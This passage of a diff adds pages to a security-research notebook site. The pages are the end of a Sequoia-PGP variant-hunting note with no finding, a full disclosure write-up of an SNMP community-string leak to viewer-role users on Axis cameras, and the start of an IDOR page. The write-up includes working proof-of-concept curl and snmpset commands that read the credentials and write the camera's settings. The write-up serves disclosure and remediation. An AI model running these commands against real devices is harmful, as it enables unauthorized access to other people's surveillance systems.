| + | - On Cert::valid_start/valid_packet Err (line 983-996): break iteration. <code>done</code> set | |
| + | only if first-cert + first-packet + Unknown/Private tag. | |
| + | - Final commit: <code>self.bytes_read += processed; self.reader.data_consume_hard(processed)</code>.</p> | |
| + | <p>Result: even on Key::from_bytes Err (unsupported version), body bytes ARE | |
| + | consumed and reader advances. The infinite-loop class is closed for Full-length | |
| + | PublicKey/SecretKey packets.</p> | |
| + | <h2>Other version-dispatch sites surveyed (parse.rs)</h2> | |
| + | <p>Lines 1413, 2112, 2663, 2697, 3446, 3591, 3842: each <code>match version</code> arm with | |
| + | unknown branch routes via <code>php.fail("unknown version")</code> → | |
| + | <code>PacketHeaderParser::error()</code> → <code>self.reader.rewind(); Unknown::parse(self, error)</code>. | |
| + | Unknown::parse delivers an Unknown packet whose body is consumed by the outer | |
| + | PacketParser via the BodyLength header. Safe.</p> | |
| + | <h2>Negative result</h2> | |
| + | <p>No exploitable variant of RUSTSEC-2024-0345 found in this iteration. RawCertParser | |
| + | post-fix consumes via BodyLength regardless of key-parse outcome; standard | |
| + | PacketParser flow consumes Unknown packets via header length.</p> | |
| + | <p>Caveat: shallow clone (depth 50) doesn’t include the original 2024-0345 commit, | |
| + | so I can’t see the exact diff. Variant probe limited to current-state reasoning.</p> | |
| + | <h2>Next iteration pivot candidates (within sequoia)</h2> | |
| + | <ol> | |
| + | <li><strong>packet/seip/v1.rs MDC verification</strong>, CBC-MAC oracle class flagged in intel. | |
| + | Look at Read impl on Decryptor + MDC-tag check timing.</li> | |
| + | <li><strong>packet/skesk.rs S2K iteration count</strong>, DoS class via attacker-controlled | |
| + | iteration counter.</li> | |
| + | <li><strong>cert/parser/mod.rs</strong> (full Cert parser, not raw), newer signature subpacket | |
| + | types (RFC 9580 v6 sigs, hash algorithm prefs).</li> | |
| + | <li>Pivot OUT of sequoia to <strong>Arm Trusted Firmware</strong> (Intigriti #2 from intel).</li> | |
| + | </ol> | |
| + | <p>Going with option 1 next iteration.</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · methodology/sequoia-pgp-variant-hunting-3.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,320 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>SNMP Community String Disclosure to Viewer-Privileged Users via DeviceConfig1 API | Zion Boggan</title> | |
| + | <meta name="description" content="SNMP community strings returned in the viewer-role config endpoint."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/snmp-community-string-viewer-disclosure/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="SNMP Community String Disclosure to Viewer-Privileged Users via DeviceConfig1 API | Zion Boggan"> | |
| + | <meta property="og:description" content="SNMP community strings returned in the viewer-role config endpoint."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/snmp-community-string-viewer-disclosure/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="SNMP Community String Disclosure to Viewer-Privileged Users via DeviceConfig1 API | Zion Boggan"> | |
| + | <meta name="twitter:description" content="SNMP community strings returned in the viewer-role config endpoint."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"SNMP Community String Disclosure to Viewer-Privileged Users via DeviceConfig1 API","description":"SNMP community strings returned in the viewer-role config endpoint.","url":"https://zionboggan.com/security-research-notebook/snmp-community-string-viewer-disclosure/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Info disclosure</div> | |
| + | <h1>SNMP Community String Disclosure to Viewer-Privileged Users via DeviceConfig1 API</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <p><strong>VRT Category:</strong> Sensitive Data Exposure > Disclosure of Secrets | |
| + | <strong>URL/Location:</strong> <code>https://<camera>/config/rest/snmp/v1/snmpV1V2Common</code> | |
| + | <strong>Firmware:</strong> AXIS OS P3245-LV version 11.11.192 (LTS 2024 track) | |
| + | <strong>File:</strong> <code>/usr/share/dev-conf/conf-units/api-def_snmp_v1.yaml</code></p> | |
| + | <hr /> | |
| + | <h2>Description</h2> | |
| + | <p>The SNMP configuration unit in the AXIS OS DeviceConfig1 framework exposes SNMP v1/v2c community strings (<code>readCommunity</code>, <code>writeCommunity</code>, trap <code>community</code>) to users with <strong>viewer-level</strong> privileges. Community strings are the sole authentication mechanism for SNMP v1/v2c – they function as plaintext passwords. A viewer-level user (the lowest authenticated privilege level on the camera) can read these credentials through a single API call, then use them with any SNMP client to gain full read/write access to the device, bypassing the VAPIX role-based access model entirely.</p> | |
| + | <p>The vulnerability is in the API access control definition. The <code>set</code> operation correctly restricts community string modification to <code>admin</code> only, but the <code>get</code> operation exposes the values to <code>[viewer, operator, admin]</code>. This inconsistency demonstrates the write path was secured but the read path was overlooked.</p> | |
| + | <hr /> | |
| + | <h2>Proof of Concept</h2> | |
| + | <h3>Step 0: Firmware Evidence</h3> | |
| + | <p>The vulnerability was identified through static analysis of firmware version 11.11.192. The firmware was extracted using:</p> | |
| + | <pre><code>binwalk --run-as=root -e P3245-LV_11_11_192.bin | |
| + | tar xf _P3245-LV_11_11_192.bin.extracted/0 | |
| + | unsquashfs -d rootfs_extracted rootfs/rootfs.img | |
| + | </code></pre> | |
| + | <h3>Step 1: Identify the misconfigured access control</h3> | |
| + | <p>The SNMP API definition file on the camera at <code>/usr/share/dev-conf/conf-units/api-def_snmp_v1.yaml</code> contains the following access control definitions (extracted from firmware):</p> | |
| + | <pre><code class="language-yaml"> snmpV1V2Common: | |
| + | short_description: Entity that has common properties for snmp V1 and V2c | |
| + | operations: | |
| + | set: | |
| + | fields: | |
| + | optional: ["readCommunity", "writeCommunity", "address", "trap"] | |
| + | properties: | |
| + | readCommunity: | |
| + | short_description: Read Community string | |
| + | export_import: false | |
| + | notification: false | |
| + | data_type: string | |
| + | operations: | |
| + | get: | |
| + | roles: [viewer, operator, admin] # <-- VIEWER CAN READ | |
| + | set: | |
| + | roles: [admin] # <-- ONLY ADMIN CAN WRITE | |
| + | writeCommunity: | |
| + | short_description: Write Community string | |
| + | export_import: false | |
| + | notification: false | |
| + | data_type: string | |
| + | operations: | |
| + | get: | |
| + | roles: [viewer, operator, admin] # <-- VIEWER CAN READ | |
| + | set: | |
| + | roles: [admin] # <-- ONLY ADMIN CAN WRITE | |
| + | </code></pre> | |
| + | <p>The same pattern repeats for <code>community</code> under the trap configuration (also readable by viewer).</p> | |
| + | <p>The D-Bus transport policy at <code>/usr/share/dbus-1/system.d/device-config-service.conf</code> confirms viewer-level access to the DeviceConfig1 APIGateway1 interface:</p> | |
| + | <pre><code class="language-xml"><policy group="viewer"> | |
| + | <allow send_destination="com.axis.DeviceConfig1" | |
| + | send_interface="com.axis.DeviceConfig1.APIGateway1"/> | |
| + | <allow receive_sender="com.axis.DeviceConfig1"/> | |
| + | </policy> | |
| + | </code></pre> | |
| + | <p>The <code>dev-conf-service</code> binary (Rust, built with axum/zbus) runs with <code>--authorize</code> and maps the caller’s Unix UID to a role, then enforces the YAML-defined access control. The YAML explicitly grants viewer the <code>get</code> role for credential-equivalent data.</p> | |
| + | <h3>Step 2: Read community strings as viewer</h3> | |
| + | <pre><code class="language-bash"># Authenticate as viewer (lowest privilege) and read SNMP community strings | |
| + | curl -s --digest -u VIEWER_USER:VIEWER_PASS \ | |
| + | "https://CAMERA_IP/config/rest/snmp/v1/snmpV1V2Common" | python3 -m json.tool | |
| + | </code></pre> | |
| + | <p><strong>Expected response:</strong></p> | |
| + | <pre><code class="language-json">{ | |
| + | "status": "success", | |
| + | "data": { | |
| + | "readCommunity": "public", | |
| + | "writeCommunity": "private", | |
| + | "address": "...", | |
| + | "trap": { "community": "..." } | |
| + | } | |
| + | } | |
| + | </code></pre> | |
| + | <h3>Step 3: Use disclosed credentials for SNMP write access</h3> | |
| + | <pre><code class="language-bash"># Use the disclosed writeCommunity string to modify camera settings via SNMP | |
| + | # This demonstrates privilege escalation from viewer → effective admin | |
| + | snmpset -v 2c -c "<writeCommunity_from_step2>" CAMERA_IP \ | |
| + | SNMPv2-MIB::sysContact.0 s "attacker@evil.com" | |
| + | ||
| + | # Verify the write succeeded | |
| + | snmpget -v 2c -c "<readCommunity_from_step2>" CAMERA_IP \ | |
| + | SNMPv2-MIB::sysContact.0 | |
| + | </code></pre> | |
| + | <h3>Step 4: Confirm viewer cannot SET community strings (showing the inconsistency)</h3> | |
| + | <pre><code class="language-bash"># This should fail with access denied -- proving the set path IS secured | |
| + | curl -s --digest -u VIEWER_USER:VIEWER_PASS \ | |
| + | -X PATCH -H "Content-Type: application/json" \ | |
| + | -d '{"data":{"readCommunity":"hacked"}}' \ | |
| + | "https://CAMERA_IP/config/rest/snmp/v1/snmpV1V2Common" | |
| + | ||
| + | # Expected: {"status":"error","error":{"code":403,"message":"Access denied"}} | |
| + | </code></pre> | |
| + | <p>The asymmetry between GET (viewer allowed) and SET (admin only) on the same credential field is the core of the finding.</p> | |
| + | <hr /> | |
| + | <h2>Impact</h2> | |
| + | <ol> | |
| + | <li><strong>Credential disclosure</strong>: SNMP community strings are plaintext passwords. Viewer reads them in a single API call.</li> | |
| + | <li><strong>Privilege escalation</strong>: Viewer uses <code>writeCommunity</code> with any SNMP v1/v2c client → gains full SNMP write access to the device, which is admin-equivalent for device configuration.</li> | |
| + | <li><strong>Network-level impact</strong>: SNMP credentials may be reused across multiple cameras in the same deployment (common practice), enabling fleet-wide compromise from a single viewer account.</li> | |
| + | <li><strong>Surveillance implications</strong>: An attacker with SNMP write access can modify video recording settings, disable alerts, and cover their tracks on the camera.</li> | |
| + | </ol> | |
| + | <hr /> | |
| + | <h2>CVSS</h2> | |
| + | <p><strong>Score:</strong> 6.5 (Medium) | |
| + | <strong>Vector:</strong> CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</p> | |
| + | <hr /> | |
| + | <h2>Remediation</h2> | |
| + | <ol> | |
| + | <li>In <code>api-def_snmp_v1.yaml</code>, change the <code>get</code> operation roles for <code>readCommunity</code>, <code>writeCommunity</code>, and trap <code>community</code> from <code>[viewer, operator, admin]</code> to <code>[admin]</code>.</li> | |
| + | <li>Audit all other DeviceConfig1 configuration units for credential-equivalent properties exposed to viewer/operator roles.</li> | |
| + | <li>Consider treating all SNMP community strings as write-only secrets (readable only at set time, masked thereafter).</li> | |
| + | </ol> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/axis-os/snmp-community-string-viewer-disclosure.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,313 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Sql Query Optimizer Idor | Zion Boggan</title> | |
| + | <meta name="description" content="Cross-project access to SQL optimizer artifacts via predictable object IDs."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
